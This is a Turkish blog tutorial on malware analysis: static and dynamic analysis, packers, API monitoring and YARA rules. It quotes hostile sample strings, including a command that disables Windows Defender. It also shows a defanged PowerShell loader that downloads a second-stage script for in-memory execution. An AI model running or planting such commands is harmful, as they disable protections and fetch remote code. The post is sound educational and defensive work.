İçeriğe geç
Sedat Özdemir
Yazılar

cyber-security

O Dosyayı Açtığında Aslında Ne Oluyor? Malware Analizinin Mutfağına Giriş

Kendi ana makinemde yanlışlıkla bir trojan çalıştırdığım o günden, profesyonel Red Team süreçlerine uzanan; malware analizinin karanlık, eğlenceli ve bir o kadar da öğretici yolculuğu.

Sedat Özdemir
· 4 dk okuma

Sana bir sır vereyim mi? Kariyerimin başında, her şeyi bildiğimi sandığım o 'delikanlı' dönemlerde, analiz etmek için indirdiğim bir zararlı yazılımı (malware), ana makinemle paylaşımlı olan klasörün içinde yanlışlıkla çalıştırdım. Saniyeler içinde masaüstümdeki ikonların değişmeye başladığını görmek, insanın ensesinden aşağı kaynar sular dökülmesi gibi bir şey. O gün sadece verilerimi değil, o meşhur 'ben asla hata yapmam' egomu da o klasörde bıraktım. İşte malware analizi tam da böyle bir şey; bir anlık dikkatsizlik seni avcıyken av yapar.

Bugün seninle testCompany laboratuvarlarında, kahvemiz elimizde, o şüpheli .exe veya .js dosyasının içine nasıl dalarız, o dosya bize hangi yalanları söyler ve biz o yalanları nasıl ortaya çıkarırız, onları konuşacağız. Hazırsan, sanal makineni (VM) ayağa kaldır, 'host-only' network ayarını kontrol et ve başlayalım.

Statik Analiz: Dış Görünüşe Aldanma

Bir malware ile karşılaştığında yapacağın ilk şey, ona dokunmadan önce üzerine bir büyüteç tutmaktır. Buna statik analiz diyoruz. Dosyayı çalıştırmadan, onun anatomisini inceliyoruz.

Öncelikle dosyanın 'hash' değerini alıp (MD5, SHA256) VirusTotal gibi platformlarda daha önce görülüp görülmediğine bakıyoruz. Ama dikkat! Eğer çok gizli bir operasyon yürütüyorsan veya hedefli bir saldırı (APT) analiz ediyorsan, dosyayı oraya yüklemek saldırgana 'Hey, senin dosyayı bulduk, şu an inceliyoruz!' mesajı göndermek demektir.

Sonra strings komutuyla dosyanın içindeki okunabilir metinlere bakıyoruz. IP adresleri, alan adları, dosya yolları veya hata mesajları... Bazen saldırganlar buraya bize 'Selam' bile bırakabiliyor.

Örneğin, şöyle bir şey yakaladığını düşün:

http://example.com/updates/payload.bin
C:\Windows\Temp\debug_log.txt
Set-MpPreference -DisableRealtimeMonitoring $true

Bak, bu 'ben masumum' diyen bir dosyanın içinden çıkan 'ben aslında çok tehlikeliyim' çığlığıdır. Windows Defender'ı kapatmaya çalışan bir komut dizisi her zaman şüphe uyandırır.

Paketleyiciler (Packers) ve Entropi

Bazen dosyaya bakarsın ve hiçbir şey göremezsin. Her şey anlamsız karakter yığınıdır. İşte burada karşımıza 'Packer'lar çıkar. UPX gibi araçlarla dosya sıkıştırılmış veya özel yöntemlerle şifrelenmiş olabilir. Dosyanın 'entropisini' ölçtüğümüzde eğer değer 7.0'ın üzerindeyse, bil ki o dosya bir şeyler saklıyor. Kaosun içindeki düzeni bulmak için önce o kabuğu soyman (unpacking) gerekir.

Dinamik Analiz: Labirente Fare Bırakmak

İşte eğlence burada başlıyor. Dosyayı izole edilmiş bir ortamda (FlareVM veya Remnux gibi) çalıştırıyoruz. Ama önce ortamı hazırlamalıyız. Sahte bir internet bağlantısı (FakeNet-NG) kuruyoruz ki malware dışarıyla konuştuğunu sansın ama aslında bizim kurduğumuz tuzağa (loopback) düşsün.

Bir malware çalıştığında genellikle şu adımları izler:

  1. Keşif: 'Ben hangi makinedeyim? Sanal makine miyim? Analiz ediliyor muyum?'
  2. Kalıcılık (Persistence): 'Bilgisayar yeniden açıldığında nasıl tekrar çalışırım?'
  3. C2 İletişimi: 'Efendim, ben içeri girdim, ne yapayım?'

Şu basit ama etkili bir PowerShell loader örneğine (defanged) bakalım:

# Bu kodun amacı uzak sunucudan bir betik çekip hafızada çalıştırmaktır.
$u = "http://127.0.0.1:8080/stage2.ps1"
$c = New-Object System.Net.WebClient
$d = $c.DownloadString($u)
# Invoke-Expression (IEX) tehlikelidir, hafızada çalıştırır.
# IEX $d 
Write-Host "[DEBUG] Payload indirildi ama çalıştırılmadı."

Bu kod parçasını analiz ederken, IEX (Invoke-Expression) kısmını yakaladığında alarm zilleri çalmalı. Modern malware'ler artık diske dosya yazmak yerine doğrudan RAM üzerinde koşturuyor (fileless malware), bu da onları tespit etmeyi zorlaştırıyor.

Davranışsal Analiz ve API Hooking

Malware, işletim sistemiyle konuşmak zorundadır. Dosya oluşturmak için CreateFile, ağa bağlanmak için InternetOpen, başka bir sürece sızmak için WriteProcessMemory gibi API fonksiyonlarını çağırır. Process Monitor (Procmon) kullanarak bu çağrıları izleyebiliriz.

Eğer bir not defteri (notepad.exe) gidip C:\Windows\System32\config\SAM dosyasına erişmeye çalışıyorsa, orada bir terslik var demektir. Not defterinin senin şifre hash'lerinle ne işi olur, değil mi?

Defansif Bakış Açısı: YARA Kuralları Yazmak

Analiz ettiğimiz bu canavarı bir daha kapıdan içeri sokmamak için ona bir 'kimlik kartı' çıkarmalıyız. YARA, bunun için biçilmiş kaftan. Diyelim ki analiz ettiğimiz malware'in içinde malicious_func_x diye bir string ve belirli bir byte dizisi bulduk. Hemen kuralımızı yazıyoruz:

rule Detect_Sample_X {
    meta:
        description = "Analiz ettiğimiz o meşhur zararlı yazılımı yakalayan kural"
        author = "Sedat Ozdemir"
    strings:
        $s1 = "http://example.com/cc"
        $hex_pattern = { E2 34 ?? 56 78 9A }
    condition:
        uint16(0) == 0x5A4D and ($s1 or $hex_pattern)
}

Bu kuralı EDR (Endpoint Detection and Response) sistemine veya tarama araçlarına eklediğimizde, o zararlı artık bizim ağımızda nefes alamaz hale gelir.

Analizcinin Çantası: Olmazsa Olmazlar

Bu işe gönül vereceksen şu araçlarla aranı iyi tutmalısın:

  • Ghidra / IDA Pro: Kodun tersine mühendisliği için.
  • x64dbg: Çalışan kodu adım adım izlemek için.
  • Wireshark: Ağ trafiğindeki o sinsi paketleri yakalamak için.
  • PEStudio: Statik analizde hızlıca 'şüpheli' noktaları görmek için.

Kapanış Notu

Malware analizi sadece bir dosyayı incelemek değil, saldırganın zihnine girmektir. 'Burada neden bu ismi kullandı?', 'Neden 30 saniye bekledikten sonra çalışıyor?' gibi sorular seni gerçeğe götürür. Unutma, en gelişmiş malware bile bir insan tarafından yazıldı ve her insan hata yapar. Bizim işimiz o hatayı bulup, savunma hattımızı güçlendirmek.

Kendi makineni yakmadan, sanal dünyalarda güvenli keşifler dilerim. Bir sonraki derin dalışta görüşmek üzere!

İlgili yazılar